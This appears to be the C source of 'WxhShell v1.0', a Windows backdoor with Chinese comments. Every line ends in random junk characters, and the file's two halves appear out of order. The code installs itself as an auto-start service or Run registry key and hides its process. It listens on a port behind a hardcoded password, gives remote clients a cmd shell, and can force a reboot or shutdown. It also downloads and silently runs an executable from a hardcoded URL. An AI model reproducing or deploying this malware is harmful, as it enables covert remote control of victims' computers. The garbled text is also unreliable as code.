    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); OT^%3:zg  
    if(Boot(SHUTDOWN)) 6h3HDFS7s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6Es? MW=  
    else { T32BnmB{  
    closesocket(wsh); y8VpFa  
    ExitThread(0); (Qgde6  
    } 2 xw6 5z  
    break; <8UYhGK  
    } iYnEwAoN;  
  // 获取shell ;,&8QcSVY  
  case 's': { h;5LgAY|v  
    CmdShell(wsh); iJnU%  
    closesocket(wsh); uP\lCqK,  
    ExitThread(0); iqnJ~g  
    break; /~4 "No@  
  } %!ebO*8q  
  // 退出 b| SE<\  
  case 'x': { K ~44i  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); VL[)[~^  
    CloseIt(wsh); gPC*b+  
    break; LJX-AO.4  
    } `>DP,D)w(  
  // 离开 g+-;J+X8  
  case 'q': { eT'nl,e|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Vtppuu$  
    closesocket(wsh); 9+,R`v  
    WSACleanup(); t6c<kIQ:-O  
    exit(1); v){ .Z^_C  
    break; jkiTj~WE-  
        } I8OD$`~*U6  
  } rQTr8DYH  
  } /yLZ/<WN  
6 \B0^  
  // 提示信息 @DW[Z`X  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2cu#lMq  
} HE<1v@jW  
  } ,:+d g(\r  
Ld^GV   
  return; R{,ooxH\J  
} PL{Q!QJK'  
BQ^H? jo  
// shell模块句柄 JO14KY*%  
int CmdShell(SOCKET sock) W&h[p_0  
{ /S:F)MO9  
STARTUPINFO si; yBLK$@9  
ZeroMemory(&si,sizeof(si)); 7=@jARW&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cNzt%MjP  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (]/9-\6(#  
PROCESS_INFORMATION ProcessInfo; bbxLBD'  
char cmdline[]="cmd"; {%w!@-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); co _oMc  
  return 0; !~_zm*CqbZ  
} tgL$"chj@x  
Y+/JsOD  
// 自身启动模式 zU6a't P  
int StartFromService(void) j QU"Ved  
{ K!D o8|  
typedef struct yV)m"j  
{ {f9{8-W <u  
  DWORD ExitStatus; (2?G:+C 7  
  DWORD PebBaseAddress; ]0D}T'wM  
  DWORD AffinityMask; {F&-7u0  
  DWORD BasePriority; >-E<n8  
  ULONG UniqueProcessId; R`F,aIJ]  
  ULONG InheritedFromUniqueProcessId; `k\grr.J  
}   PROCESS_BASIC_INFORMATION; Es5  
KC e13!  
PROCNTQSIP NtQueryInformationProcess; |L_wX:d`9  
uGdp@]z&8Q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; BiE08,nj  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :5GZ\Z8F  
'2hbJk  
  HANDLE             hProcess; >Ps7I  
  PROCESS_BASIC_INFORMATION pbi; t+CWeCp,  
T5wjU*=IL  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); EoX_KG{  
  if(NULL == hInst ) return 0; +b;hBb]R  
F2(q>#<_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Z,N$A7SBE  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); - ~O'vLG  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Q5S,{ ZeT  
&PcyKpyd  
  if (!NtQueryInformationProcess) return 0; ryO$6L  
S)He$B$pp  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); n$m"]inX  
  if(!hProcess) return 0; Oc9#e+_&  
Ct$82J  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -6Tk<W  
@|bP+8oU  
  CloseHandle(hProcess); g|PC$p-z+  
0f ER*.F  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8 l/[(] &  
if(hProcess==NULL) return 0; 1|,Pq9  
gG54:  
HMODULE hMod; N132sN2   
char procName[255]; fYebB7Pv  
unsigned long cbNeeded; WUAJjds  
fbZibcQ%k  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); OH<?DcfeL  
T0j2a &Pv  
  CloseHandle(hProcess); 3L-^<'~-k;  
jW*1E *"  
if(strstr(procName,"services")) return 1; // 以服务启动 :ZdUx  
~Pk0u{,4XQ  
  return 0; // 注册表启动 4yMW^:@  
} m$>iS@R  
=fc: 6JR  
// 主模块 ^ L:cjY/  
int StartWxhshell(LPSTR lpCmdLine) zH)_vW  
{ lQPqcZd  
  SOCKET wsl; 4C~UcGMv\  
BOOL val=TRUE; " oy\_1|  
  int port=0; %XhfXd'  
  struct sockaddr_in door; Ft%hh|$5y  
&UAe!{E0  
  if(wscfg.ws_autoins) Install(); lp&!lb`  
jyW[m,#(go  
port=atoi(lpCmdLine); 1S%k  
.uZ7 -l  
if(port<=0) port=wscfg.ws_port; @^nu #R  
jRkC/Lw  
  WSADATA data; bv?0.{Z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @b!"joEy  
A3P9.mur  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   k/Mp6<?C:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~M ?|Vn  
  door.sin_family = AF_INET; O^{1RV3:,T  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); t7#lsd`_  
  door.sin_port = htons(port); .I?@o8'x  
c $;\i  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { upn8n vy4(  
closesocket(wsl); 8 ?TKN~ja  
return 1; U/MFhD(06  
} ateUpGM QU  
aP~gaSx  
  if(listen(wsl,2) == INVALID_SOCKET) { ph30'"[Z}  
closesocket(wsl); Qb^q+C)o]  
return 1; 6DS43AQs  
} (4~WWU (iT  
  Wxhshell(wsl); K6\` __mLf  
  WSACleanup(); L0Vgo<A  
W|Ldu;#  
return 0; Iur9I>8h  
dK?); *w]  
} &TN2 HZ-bJ  
B5=3r1Ly  
// 以NT服务方式启动 ryD%i"g<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) K\=8eg93Z  
{ -R+zeu(e'  
DWORD   status = 0; Y'm=etE  
  DWORD   specificError = 0xfffffff; 2JO-0j.  
F+=urc>w  
  serviceStatus.dwServiceType     = SERVICE_WIN32; P9#)~Zm}]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; m Pt)pn!rA  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; tFU;SBt8Ki  
  serviceStatus.dwWin32ExitCode     = 0; M$#sc`4*  
  serviceStatus.dwServiceSpecificExitCode = 0; <,39_#H?F3  
  serviceStatus.dwCheckPoint       = 0; W04av_u 5  
  serviceStatus.dwWaitHint       = 0; P;foK)AM  
i&tsYnP2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4_Rdp`x#J  
  if (hServiceStatusHandle==0) return; n`5WXpz4;  
4KIWb~0Y  
status = GetLastError(); Cyk s  
  if (status!=NO_ERROR) 'Tf9z+0;  
{ _'iDF  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4 \Di,PPu  
    serviceStatus.dwCheckPoint       = 0; ")\aJ8  
    serviceStatus.dwWaitHint       = 0; W}gVIfe  
    serviceStatus.dwWin32ExitCode     = status; DnyYMe!r  
    serviceStatus.dwServiceSpecificExitCode = specificError; qb7^VIo%c  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }5S2p@W)  
    return;  Dt}dp_  
  } F?*k}]Gi  
?vbDB4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [!+D <Y  
  serviceStatus.dwCheckPoint       = 0; !'c| N9  
  serviceStatus.dwWaitHint       = 0; uCUu!Vfeg  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); c8Pb  
} |$w*RI0C  
aPBX=;(  
// 处理NT服务事件,比如:启动、停止 JieU9lA^&B  
VOID WINAPI NTServiceHandler(DWORD fdwControl) gA +:CgQ  
{ OD4W}Y.  
switch(fdwControl) }brr ) )  
{ _ VKgs]Y  
case SERVICE_CONTROL_STOP: edN8-P(  
  serviceStatus.dwWin32ExitCode = 0; z-Hkz  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (&Q)EBdm  
  serviceStatus.dwCheckPoint   = 0; U1\MA6pXW  
  serviceStatus.dwWaitHint     = 0; HWtPLlNt  
  { Y^eX@dE FR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u~Lu<3v  
  } x`2pr  
  return; x70N8TQ_gK  
case SERVICE_CONTROL_PAUSE: -uR{X G. D  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Fzs>J&sY&  
  break; YRa4W.&Yn  
case SERVICE_CONTROL_CONTINUE: HTNA])G  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +{vQS FW  
  break; i+U51t<  
case SERVICE_CONTROL_INTERROGATE: !$E~\uT  
  break; wO.B~`y  
}; 'Kd7l}e!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `i4I!E  
} !u0U5>ccw  
.CmL7 5  
// 标准应用程序主函数 ?'LM7RE$X6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7K !GK  
{ lm &^tjx  
+3?`M<L0  
// 获取操作系统版本 R#fy60  
OsIsNt=GetOsVer(); onh?/3l  
GetModuleFileName(NULL,ExeFile,MAX_PATH); t'Htx1#Zc[  
cUM_ncYOP  
  // 从命令行安装 ] zIfC>@R  
  if(strpbrk(lpCmdLine,"iI")) Install(); @ V5S4E  
(\uA AW"  
  // 下载执行文件 3GINv3_  
if(wscfg.ws_downexe) { x 8M#t(hw  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) y[p6y[r*  
  WinExec(wscfg.ws_filenam,SW_HIDE); uXP- J]>  
} EFNdiv$wF  
scmto cm  
if(!OsIsNt) { 3DI^y` av  
// 如果时win9x,隐藏进程并且设置为注册表启动 G4);/#  
HideProc(); 5F03y`@ u  
StartWxhshell(lpCmdLine); /MqP[*L  
} w*2^/zh  
else hgif]?:C<  
  if(StartFromService()) p}r yKW\cJ  
  // 以服务方式启动 s #`cX0L)  
  StartServiceCtrlDispatcher(DispatchTable); :%>oe> _"  
else yI *M[0  
  // 普通方式启动 q|/!0MU"  
  StartWxhshell(lpCmdLine); {V=vn L--  
o] S`+ZcV  
return 0; Lqq*Nr  
} B,:23[v  
M3PVixli3  
}kv)IJ  
Tu'E{Hw  
=========================================== +E)e1 :8  
`^`9{@~  
2}>go^#O/w  
}o{!}g9  
.8%vd  
?^eJ:  
" f5N<3m=  
- Ra\^uz  
#include <stdio.h> q>c+bo 6  
#include <string.h> myffYK,  
#include <windows.h> T+3k$G[e/  
#include <winsock2.h> 3me<~u  
#include <winsvc.h> $<14JEU  
#include <urlmon.h> XuA0.b%  
@b8X%0B7  
#pragma comment (lib, "Ws2_32.lib") ScsWnZ  
#pragma comment (lib, "urlmon.lib") ^Y#@$c  
tvK rc  
#define MAX_USER   100 // 最大客户端连接数 ,%.:g65%  
#define BUF_SOCK   200 // sock buffer d7\k  gh  
#define KEY_BUFF   255 // 输入 buffer ;q'DGzh  
y K=S!7p\  
#define REBOOT     0   // 重启 |\rSa^:5  
#define SHUTDOWN   1   // 关机 c;nx59w ]q  
E Gr|BLl  
#define DEF_PORT   5000 // 监听端口 9k*^\@\\x  
=nw,*q +  
#define REG_LEN     16   // 注册表键长度 m*OLoZVy  
#define SVC_LEN     80   // NT服务名长度 "@aq@mY@  
55(J&q  
// 从dll定义API `s#sE.=o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]9dx3<2_I  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); t4C<#nfo  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <[esA9.]t  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); G!-7ic_4  
fc["  
// wxhshell配置信息 p`pg5R  
struct WSCFG { M P_A<F  
  int ws_port;         // 监听端口 |2[S/8g!  
  char ws_passstr[REG_LEN]; // 口令 70d] d+M|  
  int ws_autoins;       // 安装标记, 1=yes 0=no AfuXu@UZ_/  
  char ws_regname[REG_LEN]; // 注册表键名 nmTm(?yE  
  char ws_svcname[REG_LEN]; // 服务名 Q|6Ls$'$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5/zf x  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 fpI; `s  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >2 FAi.,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [BJ$|[11  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" rDK;6H:u{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1y_fQ+\2A  
5@GD} oAn6  
}; TW'E99wG  
e4[-rkn{hl  
// default Wxhshell configuration 49iR8w?k  
struct WSCFG wscfg={DEF_PORT, *1 n;p)K  
    "xuhuanlingzhe", jsK|D{m?  
    1, c,+L +  
    "Wxhshell", 6~:W(E}  
    "Wxhshell", z" b/osV  
            "WxhShell Service", >DPds~k  
    "Wrsky Windows CmdShell Service", V:nMo2'hb  
    "Please Input Your Password: ", H ={O13  
  1, n1fE daa7g  
  "http://www.wrsky.com/wxhshell.exe", {QIS411  
  "Wxhshell.exe" 61ON  
    }; c+}!yH$  
R4z<Xf:!  
// 消息定义模块 94Kuy@0:+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8@9hU`H8l  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6R$ F =MB  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Y&K<{ KA\4  
char *msg_ws_ext="\n\rExit."; )x_W&*oZ  
char *msg_ws_end="\n\rQuit."; Td["l!-fe  
char *msg_ws_boot="\n\rReboot..."; +1E?He:iQ  
char *msg_ws_poff="\n\rShutdown..."; $gj+v+%N  
char *msg_ws_down="\n\rSave to "; ]Ct`4pA  
= ]dz1~/  
char *msg_ws_err="\n\rErr!"; mq|A8>g  
char *msg_ws_ok="\n\rOK!"; BK`Q)[  
0~PXa(!^K  
char ExeFile[MAX_PATH]; I?^Q084  
int nUser = 0; 3D 4]yR5  
HANDLE handles[MAX_USER]; %J/fg<W1  
int OsIsNt; "z{_hp{T^  
^g}gT-l%  
SERVICE_STATUS       serviceStatus; :,xyVb+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^P3g9'WK  
}a #b$]Y  
// 函数声明 .!7Fe)(x  
int Install(void); $M}k%Z  
int Uninstall(void); X]3l| D  
int DownloadFile(char *sURL, SOCKET wsh); =hZ&66  
int Boot(int flag); ft~|  
void HideProc(void); CPF>^Mp#  
int GetOsVer(void); -Fp!w"=T  
int Wxhshell(SOCKET wsl); }5TfQV6  
void TalkWithClient(void *cs); 1)P<cNj  
int CmdShell(SOCKET sock); CYTuj>Ww  
int StartFromService(void); t5X G^3X@  
int StartWxhshell(LPSTR lpCmdLine); $ g1wK}B3  
s/W!6JX4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); YYZs#_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); EyKkjEXx_  
6ywnyh  
// 数据结构和表定义 onWYT}c{  
SERVICE_TABLE_ENTRY DispatchTable[] = pAUfG^v  
{ +[X.-,yW  
{wscfg.ws_svcname, NTServiceMain}, 2m)kyQ  
{NULL, NULL} Y1yvI  
}; $~w@0Yl  
34+)-\xt:  
// 自我安装 (d5vH)+ A  
int Install(void) d @^o/w8  
{ k vue@  
  char svExeFile[MAX_PATH];  9:K  
  HKEY key; #um1?V  
  strcpy(svExeFile,ExeFile); /q*Qx )y+1  
K&\BwBU  
// 如果是win9x系统,修改注册表设为自启动 ^cPo{xf  
if(!OsIsNt) { F=*BvI "+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }K#&5E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y_Z &p#Q!  
  RegCloseKey(key); P&-D0T_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3u"J4%zg|L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \ eyQo>(  
  RegCloseKey(key); 9Ww=hfb5UW  
  return 0; 1=/MT#d^?  
    } ]'1N_m]?  
  } p)[ BB6E  
} _>_y@-b  
else { *+,Lc1|\  
'wT./&Z  
// 如果是NT以上系统,安装为系统服务 )z4kP09  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); hNR >Hy\  
if (schSCManager!=0) n/-p;#R  
{ Bgo"JNM  
  SC_HANDLE schService = CreateService S#0|#Z5qD  
  ( eqUn8<<s  
  schSCManager, +hKPOFa'  
  wscfg.ws_svcname, ,mE]?XyO  
  wscfg.ws_svcdisp, t+4%,n f_1  
  SERVICE_ALL_ACCESS, Y(G*Yi?;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , WKYA9BaR  
  SERVICE_AUTO_START, Cn./Naq  
  SERVICE_ERROR_NORMAL, 9>$%F;JP44  
  svExeFile, ).O2_<&?F  
  NULL, ]a%\Q 2[c  
  NULL, D !D%.  
  NULL, !i"9f_  
  NULL, y 4,T  
  NULL )>#<S0>'j  
  ); RAx]Sp Q-S  
  if (schService!=0) r^o}Y  
  { 6Nd_YX  
  CloseServiceHandle(schService); >* Qk~kv<%  
  CloseServiceHandle(schSCManager); \8>N<B)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); BKP!+V/  
  strcat(svExeFile,wscfg.ws_svcname); 2QuypVC ]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { u!EulAl  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Nno={i1jk  
  RegCloseKey(key); ~pBxFA  
  return 0; /RULPd PH  
    } k^%TJ.y@  
  }  ;;"c+  
  CloseServiceHandle(schSCManager); 5A=xFj{  
} !E>3N:  
} BKjPmrZ|  
TXk"[>,:H  
return 1; UNH}*]u4`  
} Hd@T8 D*A  
O [ ;6E  
// 自我卸载 $MVeMgPa  
int Uninstall(void) PQ!?gj  
{ r Xk   
  HKEY key; N@`9 ~JS  
U>M>FZ  
if(!OsIsNt) { apWrcaj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @Oc}\Rg  
  RegDeleteValue(key,wscfg.ws_regname); 8w@jUGsc  
  RegCloseKey(key); 0PX@E-n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HvfTC<+H  
  RegDeleteValue(key,wscfg.ws_regname); PL B=%[  
  RegCloseKey(key); rN!9&  
  return 0; JC?V].) y5  
  } b:d.Lf{y7  
} l[j0(T  
} &(U=O?r7  
else { cngPc]?N  
r3lr`s`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |`9zE]  
if (schSCManager!=0) y]z#??  
{ Dg4^ C  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \Hx#p`B%  
  if (schService!=0) O pX  
  { K1:)J.ca_  
  if(DeleteService(schService)!=0) { 8i 'jkyInT  
  CloseServiceHandle(schService); ;iI2K/ 3  
  CloseServiceHandle(schSCManager); B'~i Z65  
  return 0; {y%O_-C'r  
  } \}&w/.T  
  CloseServiceHandle(schService); O*"wQ50Ou  
  } F>{uB!!L4  
  CloseServiceHandle(schSCManager); Olrw>YbW  
} E$fy*enON  
} 2MrR|hLx  
f*f9:xUY  
return 1; ?4dd|n  
} &%51jM<  
HUX+d4sg  
// 从指定url下载文件 KUV{]?'  
int DownloadFile(char *sURL, SOCKET wsh) ( {62GWnn_  
{ 3Jit2W4  
  HRESULT hr; <t2?Oii;  
char seps[]= "/"; N^j''siB  
char *token; u9%:2$[  
char *file; C8SNSeg  
char myURL[MAX_PATH]; |-?b)yuAz  
char myFILE[MAX_PATH]; hRiGW_t  
:njUaMFoMA  
strcpy(myURL,sURL); JIkmtZv  
  token=strtok(myURL,seps); )7TTRL  
  while(token!=NULL) jF0BWPL  
  { 0;`PHNBq  
    file=token; g[Y$SgJ  
  token=strtok(NULL,seps); Zz ?y&T  
  } 7E]l=Z`x  
lKSI5d  
GetCurrentDirectory(MAX_PATH,myFILE); ucO]&'hu:  
strcat(myFILE, "\\"); @J)vuGS  
strcat(myFILE, file); `fHiY.-  
  send(wsh,myFILE,strlen(myFILE),0); kF7Al]IgT  
send(wsh,"...",3,0); Yf9L~K  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "R]K!GUU  
  if(hr==S_OK) kE|#mI[>  
return 0; sRG3`>1  
else mI18A#[ 3  
return 1; 8gdOQ=a  
G 3x1w/L  
} k#M W>  
UJ&,9}L8  
// 系统电源模块 N:zSJW`1  
int Boot(int flag) 1 ErYob.p  
{ _E 8SX v  
  HANDLE hToken; we? #)9Q<  
  TOKEN_PRIVILEGES tkp; MS)bhZvO  
_u!G 6   
  if(OsIsNt) { R["7%|RV  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Fx\Re]~n  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); x]M1UBnMN  
    tkp.PrivilegeCount = 1; }9dgm[C[b  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; DKH9 O  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); w[_Uv4M  
if(flag==REBOOT) { _69\#YvCG  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) i vk|-C'\  
  return 0; M>j)6?n`_  
} q fe#kF9  
else { _JXE/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ks-><-2+N  
  return 0; 2;tp>,G9d  
} |szfup~5es  
  } VN;M;fMs  
  else { u,q#-d0g;  
if(flag==REBOOT) { .?TVBbc%5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l@ K<p  
  return 0; 9p<l}h7g  
} ??;[`_h{bz  
else { }Q_i#e(S  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) v]>(Ps )R  
  return 0; o\#e7Hqbh  
} 3{=4q  
} MJoC*8QxM  
~]Jfg$'  
return 1; <Th.}=  
} ,#{aAx|]  
<o O_wS@:  
// win9x进程隐藏模块 ljRR  
void HideProc(void) 1+Oo Qs  
{ t/ w>t! q  
8?!Vr1x  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); N 2\,6<  
  if ( hKernel != NULL ) Qpc>5p![3  
  { mvxvX!t  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); o/#e y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); z#b6 aP  
    FreeLibrary(hKernel); uU0'y4=  
  } z\, w$Ef+  
(J;<&v}Gad  
return; :1Ay_ b_J  
} qmGB~N|N  
`B~%TEvMh  
// 获取操作系统版本 D KOdqTW  
int GetOsVer(void) U.\kAEJ  
{ VlH9ap  
  OSVERSIONINFO winfo; MLl:)W*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); pmZr<xs   
  GetVersionEx(&winfo); xfilxd  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \BA_PyS?W+  
  return 1; 4I$#R  
  else _#I0m(  
  return 0; 8oK30?  
} e5dwq  
g"xZ{k_3  
// 客户端句柄模块 Y (Q8P{@(  
int Wxhshell(SOCKET wsl) 3't?%$'5  
{ #*fB~Os:  
  SOCKET wsh; iPao54Z  
  struct sockaddr_in client; YB[P`Muj  
  DWORD myID; umciP  
+-ue={ '  
  while(nUser<MAX_USER) TAP/gN'  
{ Rh39x-`Z  
  int nSize=sizeof(client); aX! J0&3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (q utgnW  
  if(wsh==INVALID_SOCKET) return 1; ),86Y:^4  
Mw< 1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); CR<*<=rI  
if(handles[nUser]==0) IaW8  
  closesocket(wsh); ?AR6+`0  
else 4&tY5m>  
  nUser++; )<+Z,6  
  } 2HUoT\M  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); gxF3gM  
3oj30L.  
  return 0; iC 2:P~  
} U7O2.y+  
:t(}h!7  
// 关闭 socket /IgTmXxxj  
void CloseIt(SOCKET wsh) !9-dS=:Y  
{ rkV ZP!7!  
closesocket(wsh); +:D0tYk2B  
nUser--; {oO!v}]  
ExitThread(0); ^7=yjD`  
} Yk }zN_v  
_uDtRoI8  
// 客户端请求句柄 O\x Uv  
void TalkWithClient(void *cs) 3?C$Tl2G8  
{ >LLFe~9`g  
h)sc-e  
  SOCKET wsh=(SOCKET)cs; G'!Hc6OZ  
  char pwd[SVC_LEN]; w(VH>t  
  char cmd[KEY_BUFF]; 7p|Pv;wp|  
char chr[1]; oo`mVRVf  
int i,j; R5Ti|k.~Y"  
KY@k4S+  
  while (nUser < MAX_USER) { o4d>c{p  
)x]/b=m  
if(wscfg.ws_passstr) { /Z-|E  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 'M&`l%dIPf  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?=aQG0  
  //ZeroMemory(pwd,KEY_BUFF); g=b 'T-  
      i=0; W;2y.2*  
  while(i<SVC_LEN) { (ue;O~  
(xMAo;s_  
  // 设置超时 'Kl} y,  
  fd_set FdRead; ugOcK Gf  
  struct timeval TimeOut; RE*;nSVFt  
  FD_ZERO(&FdRead); wqJH  
  FD_SET(wsh,&FdRead); VsFRG;:\U  
  TimeOut.tv_sec=8; I6\ l 6o  
  TimeOut.tv_usec=0; :[! rj  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); r"^P>8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); i9$ -lk  
B \BP:;"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yYF%U7N/n  
  pwd=chr[0]; I~EJctOG  
  if(chr[0]==0xd || chr[0]==0xa) { @N34 Q-l  
  pwd=0; %<P&"[F]v@  
  break; ~r+;i,,X  
  } A+>+XA'  
  i++; pLNv\M+  
    } FK>8(M/  
TtlZum\  
  // 如果是非法用户,关闭 socket !M\8k$#"n  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); XNsMXeO]&  
} 2e#hJ-/`-  
"RiY#=}sm  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =56O-l7T*w  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \K55|3~R  
OUQySac  
while(1) { B/AS|i] sM  
p{NVJ^! +  
  ZeroMemory(cmd,KEY_BUFF); V-IXtQR  
v:|_!+g:  
      // 自动支持客户端 telnet标准   RX\%R  
  j=0;  ~p<w>C9  
  while(j<KEY_BUFF) { M:rE^El  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PVLLuv  
  cmd[j]=chr[0]; \$$DM"+:;H  
  if(chr[0]==0xa || chr[0]==0xd) { 7M7sq-n5z  
  cmd[j]=0; )T&ZiHIJ3  
  break; E.45 s? r  
  } plN:QS$  
  j++; QZw`+KR  
    } 9bwG3jn4?  
&?"E"GH  
  // 下载文件 {Dupk0'(  
  if(strstr(cmd,"http://")) { $MhfGMk!'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); fAYp\ k  
  if(DownloadFile(cmd,wsh)) +6-_9qRq  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'ioX,KD  
  else V(wm?Cc]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J;wDvt]]1  
